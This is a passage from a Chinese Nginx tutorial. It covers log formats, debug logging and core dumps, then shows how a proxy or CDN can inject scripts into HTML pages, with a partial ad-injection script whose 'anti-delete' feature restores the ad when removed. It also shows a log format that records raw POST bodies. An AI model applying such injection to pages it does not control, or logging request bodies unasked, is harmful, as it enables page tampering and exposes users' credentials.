    '$server_protocol" $status $body_bytes_sent '         # 协议和响应状态
    '"$http_referer" "$http_user_agent" '                 # 来源和UA
    '$request_time $upstream_response_time '              # 性能时间指标
    '$http_x_forwarded_for';                              # 代理链信息
```

#### 调试专用格式

```nginx
log_format debug_full 
    '$remote_addr - $remote_user [$time_local] '          # 基础信息
    '"$request_method $scheme://$host$request_uri '       # 请求详情
    '$server_protocol" $status $body_bytes_sent '         # 响应状态
    '$request_id $pid $msec $request_time '               # 请求标识和时序
    '$upstream_connect_time $upstream_header_time '       # 上游连接时间
    '$upstream_response_time '                            # 上游响应时间
    '"$request_filename" $request_completion '            # 文件路径和完成状态
    'rc:$connection requests:$connection_requests';       # 连接统计
```

#### API 服务专用格式

```nginx
log_format api_monitoring 
    '$remote_addr [$time_local] '                         # 客户端和时间
    '"$request_method $request_uri" $status '             # API端点和方法
    '$body_bytes_sent $request_time '                     # 数据量和耗时
    '$upstream_response_time '                            # 后端处理时间
    '"$http_user_agent" '                                 # 客户端标识
    'rate:$limit_conn_status '                            # 限流状态
    'cache:$upstream_cache_status';                       # 缓存命中状态
```

#### 安全审计格式

```nginx
log_format security_audit 
    '$remote_addr - $remote_user [$time_local] '          # 基础信息
    '"$request_method $host$request_uri" $status '        # 请求详情
    '$http_referer "$http_user_agent" '                   # 来源和UA
    'xff:$http_x_forwarded_for '                          # 真实IP链
    'country:$geoip_country_code '                        # 地理位置
    'args:$query_string '                                 # 查询参数
    'post_data:"$request_body"';                          # POST数据(需配置)
```

#### 性能监控格式

```nginx
log_format performance 
    'time:$time_iso8601 '                                 # ISO标准时间
    'host:$host uri:$request_uri '                        # 请求标识
    'status:$status bytes:$body_bytes_sent '              # 响应信息
    'req_time:$request_time '                             # 总请求时间
    'upstream_time:$upstream_response_time '              # 后端时间
    'connect_time:$upstream_connect_time '                # 连接建立时间
    'header_time:$upstream_header_time '                  # 首字节时间
    'cache:$upstream_cache_status';                       # 缓存状态
```

#### 完整配置示例

```nginx
http {
    ## 定义多种日志格式
    log_format main '$remote_addr - $remote_user [$time_local] "$request" '
                    '$status $body_bytes_sent "$http_referer" '
                    '"$http_user_agent"';
    
    log_format debug '$remote_addr - $remote_user [$time_local] '
                     '"$request" $status $body_bytes_sent '
                     'rt=$request_time uct=$upstream_connect_time '
                     'uht=$upstream_header_time urt=$upstream_response_time';
    
    log_format json escape=json 
                     '{"time":"$time_iso8601",'
                     '"remote_addr":"$remote_addr",'
                     '"host":"$host",'
                     '"request":"$request",'
                     '"status":"$status",'
                     '"body_bytes_sent":"$body_bytes_sent",'
                     '"request_time":"$request_time",'
                     '"upstream_response_time":"$upstream_response_time",'
                     '"http_user_agent":"$http_user_agent"}';
    
    ## 为不同场景应用不同格式
    server {
        server_name example.com;
        
        ## 主访问日志
        access_log /var/log/nginx/access.log main;
        
        ## 调试日志（特定位置）
        location /api/ {
            access_log /var/log/nginx/api_debug.log debug;
            ...
        }
        
        ## JSON 日志（机器解析）
        location /internal/ {
            access_log /var/log/nginx/internal.json json;
            ...
        }
        
        ## 关闭不必要的日志
        location /static/ {
            access_log off;
            ...
        }
    }
}
```

### 常用变量参考

#### 基础信息变量

* `$remote_addr` - 客户端IP
* `$remote_user` - 认证用户
* `$time_local` - 本地时间
* `$time_iso8601` - ISO8601时间格式

#### 请求变量

* `$request_method` - HTTP方法
* `$scheme` - 协议 (http/https)
* `$host` - 主机名
* `$request_uri` - 完整请求URI
* `$query_string` - 查询参数
* `$server_protocol` - HTTP协议版本

#### 响应变量

* `$status` - HTTP状态码
* `$body_bytes_sent` - 发送字节数
* `$request_length` - 请求长度

#### 性能变量

* `$request_time` - 请求处理总时间
* `$upstream_connect_time` - 上游连接时间
* `$upstream_header_time` - 上游首字节时间
* `$upstream_response_time` - 上游响应时间

#### 高级变量

* `$http_*` - 任意HTTP头
* `$connection` - 连接序列号
* `$connection_requests` - 连接请求数
* `$limit_conn_status` - 限流状态
* `$upstream_cache_status` - 缓存状态

### 最佳实践

##### 按需启用日志

```nginx
## 生产环境：主日志 + 错误日志
access_log /var/log/nginx/access.log main;
error_log  /var/log/nginx/error.log warn;

## 调试环境：增加调试日志
access_log /var/log/nginx/debug.log debug;
```

##### 结构化日志（推荐）

```nginx
## JSON格式便于ELK等系统处理
log_format json_combined escape=json
    '{'
    '"timestamp":"$time_iso8601",'
    '"client_ip":"$remote_addr",'
    '"method":"$request_method",'
    '"uri":"$request_uri",'
    '"status":$status,'
    '"response_size":$body_bytes_sent,'
    '"response_time":$request_time,'
    '"user_agent":"$http_user_agent"'
    '}';
```

##### 性能考虑

```nginx
## 高流量路径关闭访问日志
location /health-check {
    access_log off;
    return 200 "healthy";
}

## 静态资源减少日志细节
location ~* \.(js|css|png|jpg)$ {
    access_log /var/log/nginx/static.log;
    expires 1y;
}
```

##### 缓冲区优化

```nginx
## 使用缓冲减少磁盘IO
access_log /var/log/nginx/access.log main buffer=64k flush=1m;
```

### log\_format 语法格式

```nginx
log_format <format_name> [escape=default|json|none] <format_string>;
```

#### format\_name (必需)

* 日志格式的名称标识符
* 用于在 `access_log` 指令中引用
* 命名规则：字母、数字、下划线

#### escape (可选参数)

指定特殊字符的转义方式：

```nginx
## 默认转义 (双引号和空字符)
log_format main '$remote_addr - "$request"';

## JSON 转义 (所有JSON特殊字符)
log_format json escape=json '{"ip":"$remote_addr","request":"$request"}';

## 不转义
log_format raw escape=none '$remote_addr - $request';
```

#### format\_string (必需)

日志格式字符串，包含：

* 普通文本
* Nginx 变量 (`$variable_name`)
* 转义字符

**完整语法示例**

```nginx
## 基本格式
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
                '$status $body_bytes_sent "$http_referer" '
                '"$http_user_agent" "$http_x_forwarded_for"';

## 带转义参数的格式
log_format json_format escape=json
                '{"time":"$time_iso8601",'
                '"ip":"$remote_addr",'
                '"method":"$request_method",'
                '"uri":"$request_uri",'
                '"status":$status}';

## 多行格式（使用续行符）
log_format detailed
    '$remote_addr - $remote_user [$time_local] '
    '"$request_method $scheme://$host$request_uri $server_protocol" '
    '$status $body_bytes_sent "$http_referer" '
    '"$http_user_agent" $request_time $upstream_response_time';
```

#### 转义规则详解

##### escape=default (默认)

```nginx
log_format default_escape '$remote_addr - "$request"';
## 输出示例: 192.168.1.1 - "GET /test\"data HTTP/1.1"
## 转义: " → \" , 空字符 → \x00
```

##### escape=json

```nginx
log_format json_escape escape=json '{"request":"$request"}';
## 输出示例: {"request":"GET /test\"data\nHTTP/1.1"}
## 转义: " → \" , \n → \\n , 等所有JSON特殊字符
```

##### escape=none

```nginx
log_format no_escape escape=none '$remote_addr - $request';
## 输出示例: 192.168.1.1 - GET /test"data
## 不进行任何转义
```

#### 配置位置和作用域

##### 有效配置位置

```nginx
## 只能在 http 块中配置
http {
    ## 正确位置
    log_format main '...';
    
    server {
        ## 错误！不能在 server 或 location 中定义
        # log_format server_format '...';
        
        ## 但可以在 server/location 中使用
        access_log /var/log/nginx/access.log main;
    }
}
```

##### 作用域规则

```nginx
http {
    ## 全局格式 - 所有 server 可用
    log_format global_format '$remote_addr - $host';
    
    server {
        server_name site1.com;
        access_log /var/log/site1.log global_format;
    }
    
    server {
        server_name site2.com;
        access_log /var/log/site2.log global_format;  ## 可复用
    }
}
```

#### 实际应用示例

##### 条件日志格式

```nginx
http {
    ## 定义多个格式
    log_format main '$remote_addr - "$request" $status';
    log_format debug '$remote_addr - "$request" $status $request_time $upstream_response_time';
    
    server {
        ## 根据条件使用不同格式
        set $log_format main;
        if ($arg_debug) {
            set $log_format debug;
        }
        
        access_log /var/log/nginx/access.log $log_format;
    }
}
```

##### 包含文件方式

```nginx
## 在单独文件中定义格式
## /etc/nginx/log-formats.conf
log_format main '...';
log_format json '...';
log_format debug '...';

## 主配置中引入
http {
    include /etc/nginx/log-formats.conf;
    
    server {
        access_log /var/log/nginx/access.log main;
    }
}
```

##### 变量组合技巧

```nginx
log_format custom
    ## 文本常量
    'Client: $remote_addr | '
    
    ## 时间信息
    'Time: $time_iso8601 | '
    
    ## 请求信息（带条件）
    'Request: $request_method $request_uri | '
    
    ## 响应信息
    'Status: $status | '
    
    ## 性能指标
    'Timing: req_time=$request_time upstream=$upstream_response_time | '
    
    ## HTTP 头信息
    'UA: "$http_user_agent" | '
    'Referer: "$http_referer"';
```

#### 语法注意事项

##### 正确写法

```nginx
## 使用单引号包裹整个格式字符串
log_format main '$remote_addr - $remote_user [$time_local] "$request"';

## 多行使用续行符
log_format extended 
    '$remote_addr - $remote_user '
    '[$time_local] "$request" '
    '$status $body_bytes_sent';
```

##### 错误写法

```nginx
## 错误：缺少单引号
log_format main $remote_addr - $request;

## 错误：双引号包裹
log_format main "$remote_addr - $request";

## 错误：在错误的作用域
server {
    log_format server_format '...';  ## 不允许！
}
```

### 使用调试模式来跟踪意外行为

Nginx 调试模式提供 **多层级、多粒度的日志记录**，帮助开发者深入追踪系统行为和排查复杂问题。

**错误日志级别体系**

```nginx
## 错误日志级别（从详细到简洁）
error_log /path/to/error.log debug;     ## 🐛 最详细调试信息
error_log /path/to/error.log info;      ## ℹ️  一般信息
error_log /path/to/error.log notice;    ## 💡 重要通知
error_log /path/to/error.log warn;      ## ⚠️  警告信息
error_log /path/to/error.log error;     ## ❌ 错误信息（生产默认）
error_log /path/to/error.log crit;      ## 🚨 严重错误
```

**作用域和继承规则**

```nginx
## 全局配置（main上下文）
error_log /var/log/nginx/error.log warn;

http {
    ## HTTP块级别（继承并覆盖全局）
    error_log /var/log/nginx/http-error.log info;
    
    server {
        server_name app.example.com;
        ## Server级别（继承并覆盖HTTP块）
        error_log /var/log/nginx/app-debug.log debug;
        
        location /api/ {
            ## Location级别（最细粒度）
            error_log /var/log/nginx/api-debug.log debug;
            
            ## 重写模块调试（记录rewrite规则执行）
            rewrite_log on;
        }
        
        location /static/ {
            ## 关闭调试，恢复为更高级别配置
            error_log off;
        }
    }
    
    server {
        server_name admin.example.com;
        ## 另一个server使用不同配置
        error_log /var/log/nginx/admin-error.log error;
    }
}
```

**内存日志（高性能调试）**

```nginx
## 将调试日志写入内存，避免磁盘IO瓶颈
error_log memory:32m debug;

## 适用场景：
## - 高并发下的性能问题追踪
## - 临时性调试，避免磁盘写满
## - 生产环境短期问题排查
```

**IP 条件调试**

```nginx
events {
    ## 仅为特定IP范围开启调试连接
    debug_connection 192.168.252.15/32;    ## 单个IP
    debug_connection 10.10.10.0/24;        ## 整个网段
    debug_connection 2001:db8::/32;        ## IPv6支持
}

## 效果：只有来自这些IP的请求会产生详细连接调试日志
```

**重写规则调试**

```nginx
server {
    server_name example.com;
    
    ## 开启重写模块调试（notice级别）
    rewrite_log on;
    error_log /var/log/nginx/rewrite-debug.log notice;
    
    location / {
        ## 复杂的重写规则
        rewrite ^/old/(.*)$ /new/$1 permanent;
        rewrite ^/user/([0-9]+)$ /profile?id=$1 last;
        
        ## 调试日志将显示：
        ## - 每个rewrite规则的匹配过程
        ## - 重定向执行结果
        ## - 变量替换详情
    }
}
```

**企业级调试架构**

**分层调试配置**

```nginx
## 全局生产配置
error_log /var/log/nginx/error.log error;

http {
    ## 开发/测试环境覆盖
    include /etc/nginx/conf.d/debug-override.conf;
    
    server {
        server_name staging.example.com;
        ## 预发环境：详细日志但非debug级别
        error_log /var/log/nginx/staging-error.log info;
        
        location /debug/ {
            ## 调试端点：临时开启完整调试
            error_log /var/log/nginx/debug-endpoint.log debug;
            rewrite_log on;
            
            ## 通过特定URL触发调试模式
            if ($arg_debug = "true") {
                error_log /var/log/nginx/temp-debug.log debug;
            }
        }
    }
    
    server {
        server_name production.example.com;
        ## 生产环境：严格控制日志级别
        error_log /var/log/nginx/prod-error.log error;
        
        ## 紧急调试开关（通过配置文件管理）
        include /etc/nginx/conf.d/emergency-debug.conf;
    }
}
```

**实战调试场景**

```nginx
upstream backend {
    server 10.0.1.1:8080;
    server 10.0.1.2:8080;
}

location /api/ {
    proxy_pass http://backend;
    
    ## 开启调试追踪代理问题
    error_log /var/log/nginx/proxy-debug.log debug;
    
    ## 调试信息包括：
    ## - 上游服务器选择过程
    ## - 连接建立/重用详情
    ## - 请求/响应传输状态
    ## - 超时和错误处理
}
```

**SSL/TLS 连接调试**

```nginx
server {
    listen 443 ssl;
    server_name secure.example.com;
    
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    
    ## SSL握手过程调试
    error_log /var/log/nginx/ssl-debug.log debug;
    
    ## 调试信息包括：
    ## - 证书验证过程
    ## - 密码套件协商
    ## - 会话恢复详情
    ## - 客户端认证过程
}
```

### 核心转储

核心转储（Core Dump）是 **进程崩溃时的内存快照**，包含崩溃瞬间的程序状态、变量值、堆栈信息等，是诊断复杂崩溃问题的关键工具。

```nginx
## 在 main 上下文中配置
worker_rlimit_core    500m;      ## 🔧 每个worker进程核心文件大小限制
worker_rlimit_nofile  65535;     ## 📁 每个worker进程文件描述符限制  
working_directory     /var/dump/nginx;  ## 💾 核心转储文件存储目录
```

##

---

---
url: /nginx/wawp639k/index.md
---
# 内容注入
在 **Nginx 在反向代理或 CDN 层做内容注入（content injection）** 的典型需求，例如给网站自动插入监控脚本、统计代码、或 CSP 报告器脚本等。

可以实现，但需要明确一点：**Nginx 本身不会修改 HTML 内容，除非你启用额外的模块或通过 Lua/NJS 扩展**。

有几种常见方式可以实现在 HTML 页面中自动插入 `<script>` 标签：

| 方式                                 | 可行性     | 性能   | 说明                               |
| ------------------------------------ | ---------- | ------ | ---------------------------------- |
| ① 使用 `sub_filter` 模块             | 简单直接 | 很快 | 适合替换或插入少量静态脚本         |
| ② 使用 `ngx_http_lua_module`         | 灵活     | 中等 | 可动态判断 URL、User-Agent、域名等 |
| ③ 使用 `njs`（JavaScript for Nginx） | 较灵活   | 中等 | 官方支持的 JavaScript 脚本语言     |
| ④ 使用 CDN（如 Cloudflare Workers）  | 最推荐   | 较优 | 可在边缘节点动态修改 HTML          |

## sub\_filter

如果只是想在 **HTML 中的特定位置（例如 `</head>` 前）插入一段脚本**，`ngx_http_sub_module` 足够用了。

**启用模块（大多数 Nginx 已内置）**

先确认模块是否可用：

```bash
nginx -V 2>&1 | grep sub
```

如果看到 `--with-http_sub_module`，说明已启用。

```nginx
server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://127.0.0.1:8080;

        sub_filter '</head>' '<script src="https://xxx.xxxx/xxx.js"></script></head>';
        sub_filter_once on; # 只替换第一次出现的 </head>
        sub_filter_types text/html;
    }
}
```

**原理：**

* 当 Nginx 代理后端返回 HTML 时，它会扫描响应体，将匹配到的 `</head>` 替换为你的脚本+原文本。
* 这种方法最适合简单静态注入，比如插入统计脚本或监控脚本。

**注意**：

* `sub_filter` 仅对文本类型有效 (`text/html`)。
* 对 gzip 压缩的响应需先禁用压缩或解压后再替换。

可在上方配置中添加：

```bash
proxy_set_header Accept-Encoding "";
```

防止后端发送 gzip。

## Lua 注入

如果需要：

* 只给特定 URL 注入；
* 动态生成脚本内容；
* 根据 Cookie / Header 条件决定是否注入；

可以使用 `ngx_http_lua_module`。

```nginx
lua_need_request_body on;

server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://127.0.0.1:8080;

        body_filter_by_lua_block {
            local chunk = ngx.arg[1]
            if ngx.ctx.injected then
                ngx.arg[1] = chunk
                return
            end

            if chunk and string.find(chunk, "</head>") then
                chunk = string.gsub(chunk, "</head>", '<script src="https://xxx.xx/xx.js"></script></head>')
                ngx.ctx.injected = true
            end

            ngx.arg[1] = chunk
        }
    }
}
```

这段脚本：

* 会扫描返回的 HTML 块；
* 找到 `</head>` 时插入 `<script>`；
* 可加入逻辑判断（例如只在某域名、某路径下生效）。

## njs（官方 JS 模块）

[NJS 模块](https://nginx.org/en/docs/njs/)。

```nginx
js_import main from /etc/nginx/html/inject.js;

server {
    listen 80;
    location / {
        proxy_pass http://127.0.0.1:8080;
        js_body_filter main.inject;
    }
}
```

`/etc/nginx/html/inject.js` 内容：

```js
function inject(r, data, flags) {
    if (data.indexOf('</head>') !== -1) {
        data = data.replace('</head>', '<script src="https://xxx.xxx.xxx/xx.js"></script></head>');
    }
    return data;
}
export default { inject };
```

## CDN/边缘层注入

如果网站有 CDN 层（例如 Cloudflare、Vercel、Netlify Edge Functions 等），可以直接在边缘节点处理响应 HTML：

示例（Cloudflare Workers）：

```js
export default {
  async fetch(request, env, ctx) {
    let res = await fetch(request)
    let html = await res.text()
    html = html.replace('</head>', '<script src="https://monitor.yumeng.icu/track.js"></script></head>')
    return new Response(html, res)
  }
}
```

这种方式无需改服务器配置，还能分发到全球节点，非常适合监控脚本注入。

## 注意事项

**HTTPS 混合内容**

如果你的站是 HTTPS，注入的脚本也必须是 HTTPS。

**安全性**

小心 XSS 风险，不要注入任何未经验证的外部脚本。

**gzip 问题**

对压缩过的响应，需要禁用压缩或先解压再替换。

**缓存影响**

CDN 或浏览器缓存可能导致脚本注入失效，要配置合适的缓存策略。

## 广告脚本

### 1

```js
/**
 * 高级广告注入脚本
 * 参考 Google 公告栏设计，支持多位置、防删除、自定义样式
 */

(function() {
  'use strict';

  // ==================== 配置区域 ====================
  const CONFIG = {
    // 基础配置
    position: 'top', // 位置: top, bottom, left, right, top-left, top-right, bottom-left, bottom-right
    message: ` <div class="server-ad">
      <div class="ad-tag">限时特惠</div>
      <div class="ad-content">
        <div class="ad-left">
          <h3>企业级云服务器 限时特惠</h3>
          <p>99.99%可用 | 万兆带宽 | 弹性扩容 | 数据加密</p>
        </div>
        <div class="ad-right">
          <span class="original">¥1299/月</span>
          <span class="discount">¥599/月起</span>
          <button class="ad-btn">立即开通</button>
        </div>
      </div>
    </div>`, // 支持HTML
    linkText: '更多', // 链接文字
    linkUrl: 'https://yumg.cn', // 链接地址
    closeText: '关闭', // 关闭按钮文字
    
    // 样式配置
    width: 'full', // 宽度: auto, full, 或具体数值如 '800px'
    height: 'auto', // 高度: auto 或具体数值如 '80px'
    backgroundColor: '#f8f9fa',
    textColor: '#202124',
    primaryColor: '#1a73e8',
    borderColor: '#dadce0',
    
    // 功能配置
    collapsible: true, // 是否可折叠
    defaultCollapsed: false, // 默认是否折叠
    closeDelay: 3, // 关闭延迟（秒）
    showCloseButton: true, // 是否显示关闭按钮
    enableAntiDelete: true, // 是否启用防删除
    
    // 关闭后行为配置
    afterClose: 'remove', // 关闭后行为: 'remove' (完全移除), 'hide-sidebar' (隐藏到侧边显示小标签)
    autoRemoveDelay: 0, // 无交互后自动移除延迟（秒），0表示不自动移除
    sidebarText: '公告', // 侧边栏显示的文字
    
    // 图标配置
    icon: `<svg t="1762864465847" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="5368" width="27" height="27"><path d="M512.670266 959.469288c-246.343571 0-446.760137-200.63146-446.760137-447.240067S266.325671 64.979944 512.670266 64.979944s446.760137 200.641693 446.760137 447.2503S759.013837 959.469288 512.670266 959.469288zM512.670266 130.429585c-210.29147 0-381.381104 171.283038-381.381104 381.800659S302.378795 894.019647 512.670266 894.019647s381.381104-171.272805 381.381104-381.790426S722.961736 130.429585 512.670266 130.429585z" fill="#276BC0" p-id="5369"></path><path d="M447.290209 317.17171a63.891 63.959 0 1 0 130.760113 0 63.891 63.959 0 1 0-130.760113 0Z" fill="#276BC0" p-id="5370"></path><path d="M512.197498 820.218804c-30.093389 0-54.235229-24.416086-54.235229-54.541197L457.96227 482.062154c0-30.126134 24.14184-54.541197 54.235229-54.541197 30.093389 0 54.235229 24.416086 54.235229 54.541197l0 283.615453C566.432727 795.802718 542.290887 820.218804 512.197498 820.218804z" fill="#2f80e9" p-id="5371"></path></svg>`, // 默认信息图标
    
    // 自定义CSS
    customCSS: `
    .server-ad {
      width: 100%;
      height: 100px;
      background: linear-gradient(90deg, #0f172a, #1e40af);
      border-radius: 6px;
      display: flex;
      flex-direction: column;
      justify-content: center;
      padding: 0 25px;
      color: #fff;
      font-family: 'Segoe UI', sans-serif;
      box-shadow: 0 3px 8px rgba(0,0,0,0.12);
      position: relative;
    }
    .ad-tag {
      position: absolute;
      top: 9px;
      left: 25px;
      background: #f94316ff;
      color: #fff;
      font-size: 11px;
      padding: 1px 8px;
      border-radius: 10px;
      font-weight: 600;
    }
    .ad-content {
      display: flex;
      align-items: center;
      justify-content: space-between;
      margin-top: 10px;
    }
    .ad-left h3 {
      font-size: 16px;
      margin-bottom: 4px;
      font-weight: 700;
      color: #f0f9ff;
    }
    .ad-left p {
      font-size: 12px;
      opacity: 0.8;
      display: flex;
      gap: 12px;
    }
    .ad-right {
      display: flex;
      align-items: center;
      gap: 18px;
    }
    .original {
      font-size: 11px;
      text-decoration: line-through;
      opacity: 0.6;
    }
    .discount {
      font-size: 18px;
      font-weight: 700;
      color: #bfdbfe;
    }
    .ad-btn {
      background: #3b82f6;
      color: #fff;
      border: none;
      padding: 6px 18px;
      border-radius: 4px;
      font-size: 13px;
      font-weight: 600;
      cursor: pointer;
      transition: all 0.2s ease;
    }
    .ad-btn:hover {
      background: #2563eb;
      transform: translateY(-1px);
      box-shadow: 0 2px 6px rgba(59, 130, 246, 0.3);
    }
    /* 适配小屏幕 */
    @media (max-width: 768px) {
      .server-ad {
        height: auto;
        padding: 15px;
      }
      .ad-content {
        flex-direction: column;
        gap: 10px;
        text-align: center;
      }
      .ad-left p {
        justify-content: center;
        flex-wrap: wrap;
      }
      .ad-tag {
        top: 10px;
        left: 50%;
        transform: translateX(-50%);
      }
    }
  
    `,
    
    // 自定义JS（在广告插入后执行）
    customJS: function(adElement) {
      // console.log('广告已插入:', adElement);
    },
    
    // 回调函数
    onDelete: function() {
      console.warn('⚠️ 检测到广告被删除，正在恢复...');
      // 可以在这里添加自定义逻辑，比如记录删除行为
    },
    
    onClose: function() {
      console.log('广告已关闭');
    },
    
    onCollapse: function(isCollapsed) {
      console.log('广告折叠状态:', isCollapsed);
    }
  };

  // ==================== 核心类 ====================
  class AdvancedAdInjector {
    constructor(config) {
      this.config = config;
      this.adElement = null;
      this.sidebarElement = null;
      this.isCollapsed = config.defaultCollapsed;
      this.isClosed = false;
      this.isInjecting = false; // 防止重复注入
      this.closeTimer = null;
      this.autoRemoveTimer = null;
      this.closeCountdown = config.closeDelay;
      this.observer = null;
      this.isMobile = window.innerWidth <= 768;
      this.lastInteractionTime = Date.now();
      
      this.init();
    }

    init() {
      if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', () => this.inject());
      } else {
        this.inject();
      }
      
      // 监听窗口大小变化
      window.addEventListener('resize', () => {
        const wasMobile = this.isMobile;
        this.isMobile = window.innerWidth <= 768;
        if (wasMobile !== this.isMobile && this.adElement) {
          this.updateMobileStyles();
        }
      });

      // 监听用户交互以重置自动移除计时器
      if (this.config.autoRemoveDelay > 0) {
        ['click', 'mousemove', 'keydown', 'scroll', 'touchstart'].forEach(event => {
          document.addEventListener(event, () => this.resetAutoRemoveTimer(), { passive: true });
        });
      }
    }

    inject() {
      if (this.isInjecting) return;
      this.isInjecting = true;

      try {
        this.injectStyles();
        this.createAdElement();
        this.insertAdElement();
        this.startCloseTimer();
        this.setupAntiDelete();
        this.startAutoRemoveTimer();
        
        // 执行自定义JS
        if (typeof this.config.customJS === 'function') {
          this.config.customJS(this.adElement);
        }
      } finally {
        this.isInjecting = false;
      }
    }

    injectStyles() {
      const style = document.createElement('style');
      style.id = 'advanced-ad-styles';
      style.textContent = `
        .advanced-ad-container {
          position: fixed;
          z-index: 999999;
          background: ${this.config.backgroundColor};
          color: ${this.config.textColor};
          border: 1px solid ${this.config.borderColor};
          box-shadow: 0 2px 8px rgba(0,0,0,0.1);
          font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
          font-size: 14px;
          line-height: 1.5;
          transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
          /* 允许折叠按钮等元素超出容器显示，确保按钮跟随容器边缘并不被裁剪 */
          overflow: visible;
        }

        .advanced-ad-container.position-top,
        .advanced-ad-container.position-bottom {
          left: 50%;
          transform: translateX(-50%);
          ${this.config.width === 'full' ? 'width: 100%; left: 0; transform: none;' : 
            this.config.width === 'auto' ? 'max-width: 90%; width: auto;' : 
            `width: ${this.config.width};`}
        }

        .advanced-ad-container.position-top {
          top: 0;
          border-radius: 0 0 8px 8px;
          border-top: none;
        }

        .advanced-ad-container.position-bottom {
          bottom: 0;
          border-radius: 8px 8px 0 0;
          border-bottom: none;
        }

        .advanced-ad-container.position-left,
        .advanced-ad-container.position-right {
          top: 50%;
          transform: translateY(-50%);
          max-width: 400px;
        }

        .advanced-ad-container.position-left {
          left: 0;
          border-radius: 0 8px 8px 0;
          border-left: none;
        }

        .advanced-ad-container.position-right {
          right: 0;
          border-radius: 8px 0 0 8px;
          border-right: none;
        }

        .advanced-ad-container.position-top-left,
        .advanced-ad-container.position-top-right,
        .advanced-ad-container.position-bottom-left,
        .advanced-ad-container.position-bottom-right {
          max-width: 400px;
        }

        .advanced-ad-container.position-top-left {
          top: 20px;
          left: 20px;
          border-radius: 8px;
        }

        .advanced-ad-container.position-top-right {
          top: 20px;
          right: 20px;
          border-radius: 8px;
        }

        .advanced-ad-container.position-bottom-left {
          bottom: 20px;
          left: 20px;
          border-radius: 8px;
        }

        .advanced-ad-container.position-bottom-right {
          bottom: 20px;
          right: 20px;
          border-radius: 8px;
        }

        .advanced-ad-container.collapsed .advanced-ad-content {
          max-height: 0;
          opacity: 0;
          padding: 0 20px;
          margin: 0;
        }

        .advanced-ad-content {
          max-height: 500px;
          opacity: 1;
          padding: 16px 20px;
          transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
          display: flex;
          align-items: center;
          gap: 16px;
        }

        .advanced-ad-icon {
          flex-shrink: 0;
          color: ${this.config.primaryColor};
          display: flex;
          align-items: center;
        }

        .advanced-ad-message {
          flex: 1;
          min-width: 0;
        }

        .advanced-ad-actions {
          display: flex;
          align-items: center;
          gap: 12px;
          flex-shrink: 0;
        }

        .advanced-ad-link {
          color: ${this.config.primaryColor};
          text-decoration: none;
          font-weight: 500;
          white-space: nowrap;
          display: flex;
          align-items: center;
          gap: 4px;
          transition: opacity 0.2s;
        }

        .advanced-ad-link:hover {
          opacity: 0.8;
        }

        .advanced-ad-close-btn {
          background: transparent;
          border: 1px solid ${this.config.borderColor};
          color: ${this.config.textColor};
          padding: 6px 12px;
          border-radius: 4px;
          cursor: not-allowed;
          font-size: 13px;
          white-space: nowrap;
          transition: all 0.2s;
          display: flex;
          align-items: center;
          gap: 4px;
        }

        .advanced-ad-close-btn.enabled {
          cursor: pointer;
          background: ${this.config.primaryColor};
          color: white;
          border-color: ${this.config.primaryColor};
        }

        .advanced-ad-close-btn.enabled:hover {
          opacity: 0.9;
        }

        .advanced-ad-collapse-btn {
          position: absolute;
          left: 50%;
          transform: translateX(-50%);
          background: ${this.config.backgroundColor};
          border: 1px solid ${this.config.borderColor};
          border-radius: 50%;
          width: 24px;
          height: 24px;
          display: flex;
          align-items: center;
          justify-content: center;
          cursor: pointer;
          transition: all 0.2s;
          box-shadow: 0 2px 4px rgba(0,0,0,0.12);
          /* 确保按钮在最前层且不被裁切 */
          z-index: 1000001;
          overflow: visible;
        }

        /* 根据位置动态调整折叠按钮位置 */
        .advanced-ad-container.position-top .advanced-ad-collapse-btn,
        .advanced-ad-container.position-top-left .advanced-ad-collapse-btn,
        .advanced-ad-container.position-top-right .advanced-ad-collapse-btn {
          bottom: -12px;
          top: auto;
        }

        .advanced-ad-container.position-bottom .advanced-ad-collapse-btn,
        .advanced-ad-container.position-bottom-left .advanced-ad-collapse-btn,
        .advanced-ad-container.position-bottom-right .advanced-ad-collapse-btn {
          top: -12px;
          bottom: auto;
        }

        .advanced-ad-container.position-left .advanced-ad-collapse-btn,
        .advanced-ad-container.position-right .advanced-ad-collapse-btn {
          top: 50%;
          transform: translate(-50%, -50%);
        }

        .advanced-ad-collapse-btn:hover {
          background: ${this.config.borderColor};
        }

        .advanced-ad-collapse-btn svg {
          width: 16px;
          height: 16px;
          transition: transform 0.3s;
        }

        .advanced-ad-container.collapsed .advanced-ad-collapse-btn svg {
          transform: rotate(180deg);
        }

        /* 侧边栏标签样式 */
        .advanced-ad-sidebar {
          position: fixed;
          z-index: 999999;
          background: ${this.config.primaryColor};
          color: white;
          padding: 12px 8px;
          font-size: 12px;
          font-weight: 500;
          cursor: pointer;
          transition: all 0.3s;
          writing-mode: vertical-rl;
          text-orientation: mixed;
          border-radius: 0 4px 4px 0;
          box-shadow: 2px 0 8px rgba(0,0,0,0.15);
          opacity: 0;
          transform: translateX(-100%);
        }

        .advanced-ad-sidebar.show {
          opacity: 1;
          transform: translateX(0);
        }

        .advanced-ad-sidebar:hover {
          background: ${this.config.primaryColor}dd;
          padding-right: 12px;
        }

        .advanced-ad-sidebar.position-left {
          left: 0;
          top: 50%;
          transform: translateY(-50%) translateX(-100%);
        }

        .advanced-ad-sidebar.position-left.show {
          transform: translateY(-50%) translateX(0);
        }

        .advanced-ad-sidebar.position-right {
          right: 0;
          top: 50%;
          transform: translateY(-50%) translateX(100%);
          border-radius: 4px 0 0 4px;
          writing-mode: vertical-lr;
        }

        .advanced-ad-sidebar.position-right.show {
          transform: translateY(-50%) translateX(0);
        }

        .advanced-ad-sidebar.position-right:hover {
          padding-left: 12px;
          padding-right: 8px;
        }

        /* 移动端样式 */
        @media (max-width: 768px) {
          .advanced-ad-container {
            max-width: 100% !important;
            width: 100% !important;
          }

          .advanced-ad-container.position-top,
          .advanced-ad-container.position-bottom {
            left: 0 !important;
            transform: none !important;
            border-radius: 0 !important;
          }

          .advanced-ad-container.position-left,
          .advanced-ad-container.position-right,
          .advanced-ad-container.position-top-left,
          .advanced-ad-container.position-top-right,
